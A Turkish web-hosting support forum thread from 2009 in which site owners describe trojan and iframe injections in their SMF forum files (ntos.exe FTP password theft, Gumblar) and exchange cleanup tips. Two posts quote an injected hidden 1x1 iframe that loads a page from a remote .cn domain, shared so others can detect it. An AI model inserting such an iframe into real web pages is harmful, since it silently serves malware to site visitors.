Advertisement:

Author Topic: Dosyalarınıza bulaşan trojan kod çeşitleri  (Read 57964 times)

Offline husmen73 (Gulhin)

  • SMF Hero
  • ******
  • Posts: 3,687
  • Gender: Male
  • Bana ulaşmak için lütfen e-posta gönderin.
    • Gülhin İnternet
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #20 on: April 22, 2009, 05:48:49 AM »
Kardeşim avast filan boş. Bilgisayarında Başlat > Çalıştır > Msconfig yaz başlangıça gel eğer ntos.exe yazıyorsa tamamdır o bilgisayardan her ftp ye girdiğinizde şifrenizi alır ve her index.php veya index.html veya default isimli dosyaları indexler o yüzden hosting firmaları da anlayamaz benim başıma geldi sorunu anca kendim çözdüm. Hosting firmanızın yapacağı bir iş kalmıyor zaten direk forumun yedeğini alıp silin daha sonra tekrar kurun fakat başka bir pc den yani ntos.exe bulunmayan bi pc den saygılarımla...
Burda ; genel, SYSTEM.INI, WIN.INI, BOOT.INI Gibi bölümler var. Hangisinde ne yapmamız gerekiyor anlayamadım ben bunu.. :)
Zararlı yazılımlarla ilgili doctus.org sitesi var. Oradan destek alabilirsiniz.

Kardeşim avast filan boş.
Avast'ın boş olduğunu nasıl söyleyebiliyorsunuz anlamıyorum. Kullanılan yazılımlar kaçak ve güncellemesi olmazsa zaten bir işe yaramaz.
-Kurumsal Kimlik Web Tasarım Hizmeti.
Gülhin Portal Sistemi hakkında yorumlarınızı bekliyorum.
SMF
Referanslar --> http://www.gulhin.com/referanslar-portfoy/
-Web Tasarımı ve Tema Tasarımı Sitesi www.gulhin.com
-TOPLU MAİL GÖNDERİMİ --> http://www.toplumailsms.com
E-Ticaret Sistemi yaptırmak mı istiyorsunuz?

Offline turanordusu.tc

  • Sr. Member
  • ****
  • Posts: 901
  • Gender: Male
    • Turan Ordusu
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #21 on: April 22, 2009, 03:21:49 PM »
The Hatip arkadaşımızın verdiği komut ; Geri yükleme komutu şimdi dikkatimi çekti de.  ;) Bunu zaten biliyordum ben.

Zararlı yazılımlar konusundaki verdiğiniz bilgi için teşekkürler. Burdan yardım alıcam.. ;)

Offline abdull@h

  • Full Member
  • ***
  • Posts: 436
  • Gender: Male
    • Arsivlik.Net
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #22 on: April 28, 2009, 03:23:58 PM »
ewet arkadaşlar geçenlerde ftpdeki dosyaları kontrol ettiğimde bi tane bende buldum ve siznle paylaşmak istedim mümkünse bunuda eklermisiniz
Code: [Select]
<iframe frameborder=off src=http://cacbuhub.cn/pa.html width=1 height=1 ></iframe>
« Last Edit: April 28, 2009, 04:07:24 PM by abdull@h »

Offline Pяηѕѕ LF

  • Sophist Member
  • *****
  • Posts: 1,035
  • Pяεηsεs
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #23 on: May 12, 2009, 05:55:38 PM »
Merhaba,

ben hic bir mod veya herhangi bir degisiklik yapmadan sayfanin altinda ie'de hata mesaji aliyorum.

ve dosyalari kontrol ederken asagi yukari butun sayfalarda bu kod vardi. En ust tarafta. ilginc genelde 4 5 satirlik scriptler oluyor bu artik ne ise yariyorsa  :-\ antivirusum genelde zararli trojan scriptler oldugunda ötüyö  :P bunda ses yok.

bu kodlari silmeye calisiyorum her actigim dosyada var  :( silip 444 chmod ayarlari 444 yapiyorum.

ie hatasi bu kod ile ilgisi olmasa gerek siliyorum siliyorum hala mesaj duruyor :) "membre introuvable" hatasi. silmeye devam ediyorum.

altaki kod hakkinda bilgilenderebilirseniz.

kolay gelsin.



 
 
// Yağız: Sayfayı aşırı uzattığından kodları kaldırmak zorunda kaldım.
« Last Edit: July 10, 2009, 03:43:20 AM by Yağız... »
1.1.21 Default

Offline DNA27

  • Sophist Member
  • *****
  • Posts: 1,117
  • Gender: Male
  • O Çok Yardım Sever Görüküyor
    • Flatcast Tasarım
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #24 on: May 12, 2009, 08:17:33 PM »
aynı bu kod aylarca eklendi ben sildim o geldi o geldi ben sildim :=)
hatırladıgım kadar sizde yazmıştınız bu soruna .

çözümü şunda buldum ilk olarak ftp yi boşalttım antivir ile arattım sonra indexleri aradım tek tek temızledim.

ftp şifremi değiştim file zilla da kayıtlı idi sitem oradan da sildim daha sonra ne gelen ne giden oldu


http://www.simplemachines.org/community/index.php?topic=240751.msg1552494#msg1552494

http://www.simplemachines.org/community/index.php?topic=244570.msg1579562#msg1579562

http://www.simplemachines.org/community/index.php?topic=274959.msg1802205#msg1802205
Sevda Gelmişse başa artıq kıvırmak boşa sen git o sefdanın arkasından koşa koşa

Offline Pяηѕѕ LF

  • Sophist Member
  • *****
  • Posts: 1,035
  • Pяεηsεs
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #25 on: May 18, 2009, 03:06:25 PM »
Merhaba,

Ben format attim, dosyalari temizledim tek tek php js txt css ne varsa, ftp sifrelerini degistirdim, host sirketi bizde sorun yok sizde var gibi dedi bana  :D, 2.3 tane son model antivirus ile taradim, trojan malware programlara tarama yaptim vs.. ufak seyler buldu sildi tekrar islemleri yaptim yine olmadi  :) o kadar saatimi verdim yok benim bilgisayarimi cok sevmis olsa gerekki napsam kurtulamiyorum.

Araya araya arkadasim hakkinda bilgi edindim..

son dönemlerin yildizi parlayan scripti.. bizede bulasmis.  :)

Artik hayirlisi olur insAllah diyorum ve bir süre dinlenmeye cekiliyorum  :-\


> Gumblar Injekted Script Hakkinda <

Allah c.c hepinizi bu script'en uzak tutsun.. Amin.
1.1.21 Default

Offline turanordusu.tc

  • Sr. Member
  • ****
  • Posts: 901
  • Gender: Male
    • Turan Ordusu
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #26 on: May 18, 2009, 03:32:26 PM »
Bu sayfanın yapısı bozuk görünüyor bende arkadaşlar. Son mesajlardan sonra sanırım çok genişlemiş sayfa yanlara doğru. İlk sayfada sorun yok ama bu 2. sayfa bozuk gösteriyor. Sadece bilgi amaçlı söyleyeyim dedim herkeste de böylemi bilmiyorum..

Offline DNA27

  • Sophist Member
  • *****
  • Posts: 1,117
  • Gender: Male
  • O Çok Yardım Sever Görüküyor
    • Flatcast Tasarım
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #27 on: May 18, 2009, 06:22:48 PM »
Merhaba,

Ben format attim, dosyalari temizledim tek tek php js txt css ne varsa, ftp sifrelerini degistirdim, host sirketi bizde sorun yok sizde var gibi dedi bana  :D, 2.3 tane son model antivirus ile taradim, trojan malware programlara tarama yaptim vs.. ufak seyler buldu sildi tekrar islemleri yaptim yine olmadi  :) o kadar saatimi verdim yok benim bilgisayarimi cok sevmis olsa gerekki napsam kurtulamiyorum.

Araya araya arkadasim hakkinda bilgi edindim..

son dönemlerin yildizi parlayan scripti.. bizede bulasmis.  :)

Artik hayirlisi olur insAllah diyorum ve bir süre dinlenmeye cekiliyorum  :-\


> Gumblar Injekted Script Hakkinda <

Allah c.c hepinizi bu script'en uzak tutsun.. Amin.

Amin  :) şimdide iframe virüsü çıktı yeni olarak bu daha da kötü :)

Sevda Gelmişse başa artıq kıvırmak boşa sen git o sefdanın arkasından koşa koşa

Offline djasikurt

  • Semi-Newbie
  • *
  • Posts: 58
    • RADYO FISTIK~~FISTIK GIBI RADYO
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #28 on: June 18, 2009, 03:44:24 PM »
bu iframe  vürüsü her kese vürüs salıyor yavs bundan kökten nasıl kurtuluruz siliyorum geri geliyor


www.yildirimyildizdogan.net  YILDIRIM YILDIZDOGAN SEVENLER DİYARİ

Offline abraham_

  • Semi-Newbie
  • *
  • Posts: 28
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #29 on: July 10, 2009, 02:59:06 AM »
S.a
Arkadaşlar siteye ilk girdiğimde giriş yapın diye çıkan safyfa açılıyor.Ancak giriş yaptığım anda virüs programı uyarı verip bağlantıyı kesiyor.İndex.php ve index.htm dosyalarında üç ayrı iframe bulup sildim daha önce sitenin yüzünü dahi göremeden kapanıyordu.Ancak şimdi giriş yaptıktan sonra veya her hangi bir kategoriye girdikten sonra virüs programı kapatıyor.Yardımcı olursanız çok sevinirim arkadaşlar...

Offline husmen73 (Gulhin)

  • SMF Hero
  • ******
  • Posts: 3,687
  • Gender: Male
  • Bana ulaşmak için lütfen e-posta gönderin.
    • Gülhin İnternet
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #30 on: July 10, 2009, 04:49:43 AM »
S.a
Arkadaşlar siteye ilk girdiğimde giriş yapın diye çıkan safyfa açılıyor.Ancak giriş yaptığım anda virüs programı uyarı verip bağlantıyı kesiyor.İndex.php ve index.htm dosyalarında üç ayrı iframe bulup sildim daha önce sitenin yüzünü dahi göremeden kapanıyordu.Ancak şimdi giriş yaptıktan sonra veya her hangi bir kategoriye girdikten sonra virüs programı kapatıyor.Yardımcı olursanız çok sevinirim arkadaşlar...
Tüm dosyalarınızı virüse karşı kontrol etmelisiniz. Bende Avast Home var, bununla FTP'den tüm dosyaları indirip tarattığımda bana hangi dosyalarda virüs varsa gösteriyor. Bu yöntemi kullanabilirsiniz. (Avast güvenlik seviyesi en yüksekte)
-Kurumsal Kimlik Web Tasarım Hizmeti.
Gülhin Portal Sistemi hakkında yorumlarınızı bekliyorum.
SMF
Referanslar --> http://www.gulhin.com/referanslar-portfoy/
-Web Tasarımı ve Tema Tasarımı Sitesi www.gulhin.com
-TOPLU MAİL GÖNDERİMİ --> http://www.toplumailsms.com
E-Ticaret Sistemi yaptırmak mı istiyorsunuz?

Offline abraham_

  • Semi-Newbie
  • *
  • Posts: 28
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #31 on: July 11, 2009, 03:30:34 AM »
Tüm dosyaları indirip avast 4.8 professionel ile tarattım birşey bulamadı.Olmadı karspersky 7.0 ile tarattım yine bir şey bulamadım.Ben bütün index.php dosyalarına kendim elimden geldiğice bakmaya çalıştım.Daha önce sitenin yüzünü dahi göremiyordum bütün index.php dosyalarında iframe vardı sildim onları site açıldı yani artık açılırken virüs uyarısı yapmıyor.Ayrıca temizlediğim tüm dosyaların izinlerinide 555 yaptım.Şimdi ise giriş yapınca veya her hangi bir kategoriye tıklayınca uyarı yapıyor avast ve uyarıda index.htm dosyasını gösteriyor ama benim ftpdeki dosyalarda index.php dışında index dosyası göremedim... :(

Offline abraham_

  • Semi-Newbie
  • *
  • Posts: 28
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #32 on: July 18, 2009, 02:48:56 AM »
Sorun çözüldü arkadaşlar şu linkteki http://www.simplemachines.org/community/index.php?topic=323533.0 program ile dosyaları taratınca iframin bulunduğu tüm dosyaları bulabildim.Herkese kolay gelsin...

Offline CeeMoo

  • Sr. Member
  • ****
  • Posts: 701
  • Gereksizlerin gereksizi :P
    • CeeMoo on GitHub
    • @Hizzmetci on Twitter
    • Smf Destek
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #33 on: July 23, 2009, 02:58:19 AM »
Ellerine sağlık kardeş
SmfDestek
İnsan ağlamaktan değil, ağlIktan korkmalı.

Offline turanordusu.tc

  • Sr. Member
  • ****
  • Posts: 901
  • Gender: Male
    • Turan Ordusu
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #34 on: July 23, 2009, 04:42:04 AM »
Ben merak ettiğim için bişey sormak istiyorum; Bu virüs kodlarını  bi not defterinin içine yapıştırıp, masaüstüne alsak ve ben açsam, bizim bilgisayara da bulaşırmı bu ? :)

Offline husmen73 (Gulhin)

  • SMF Hero
  • ******
  • Posts: 3,687
  • Gender: Male
  • Bana ulaşmak için lütfen e-posta gönderin.
    • Gülhin İnternet
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #35 on: August 06, 2009, 05:11:50 PM »
Ben merak ettiğim için bişey sormak istiyorum; Bu virüs kodlarını  bi not defterinin içine yapıştırıp, masaüstüne alsak ve ben açsam, bizim bilgisayara da bulaşırmı bu ? :)
Kodların kendisi mi virüs yoksa internet üzerinden otomatik mi indiriliyor buna bağlı. Sayfa açıldığında internetten indiriliyorsa ve internetin yoksa haliyle birşey olmayacaktır.
-Kurumsal Kimlik Web Tasarım Hizmeti.
Gülhin Portal Sistemi hakkında yorumlarınızı bekliyorum.
SMF
Referanslar --> http://www.gulhin.com/referanslar-portfoy/
-Web Tasarımı ve Tema Tasarımı Sitesi www.gulhin.com
-TOPLU MAİL GÖNDERİMİ --> http://www.toplumailsms.com
E-Ticaret Sistemi yaptırmak mı istiyorsunuz?

Offline turanordusu.tc

  • Sr. Member
  • ****
  • Posts: 901
  • Gender: Male
    • Turan Ordusu
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #36 on: August 08, 2009, 04:56:22 AM »
Code: [Select]
<iframe frameborder=off src=http://cacbuhub.cn/pa.html width=1 height=1 ></iframe>Bunun gibi yada daha büyük virüs kodlarını, Not pad'e yapıştırıp, masaüstüne atsam ve daha sonra bunu sadece dosya olarak açsam demiştim bulaşırmı bizim bilgisayara da acaba ? ;)

Offline turanordusu.tc

  • Sr. Member
  • ****
  • Posts: 901
  • Gender: Male
    • Turan Ordusu
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #37 on: August 12, 2009, 11:16:18 AM »
Bununla ilgili kesin çözümü buldum ve sizinle de paylaşmak istedim arkadaşlar. Bu yöntemi  daha önceden de kullanmıştım ama dün akşam ne kadar faydalı olduğunun farkına vardım.
http://onecare.live.com/site/tr-tr/default.htm burda koruma ve temizleme diye iki seçenek var. Bunların ikisini de ayrı ayrı yapın. Virüs bulaşmış tüm dosyalarınızı sildiğini göreceksiniz. Bunu yapmadan önce, çok önemli dosyalarınız varsa onların yedeğini alın ama (Temiz olduğunu düşündüklerinizin) Çünkü bulduğu tüm zararlı dosyaları siliyor.. Kolay gelsin. ;)

Offline mustea

  • Semi-Newbie
  • *
  • Posts: 57
  • Gender: Male
  • mustea
    • " Hary Potter Dünyası "
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #38 on: August 13, 2009, 11:20:14 AM »
çok teşekkürler ilaç gibi geldi.

Offline turanordusu.tc

  • Sr. Member
  • ****
  • Posts: 901
  • Gender: Male
    • Turan Ordusu
Re: Dosyalarınıza bulaşan trojan kod çeşitleri
« Reply #39 on: August 13, 2009, 07:53:02 PM »
çok teşekkürler ilaç gibi geldi.
Rica ederim. ;)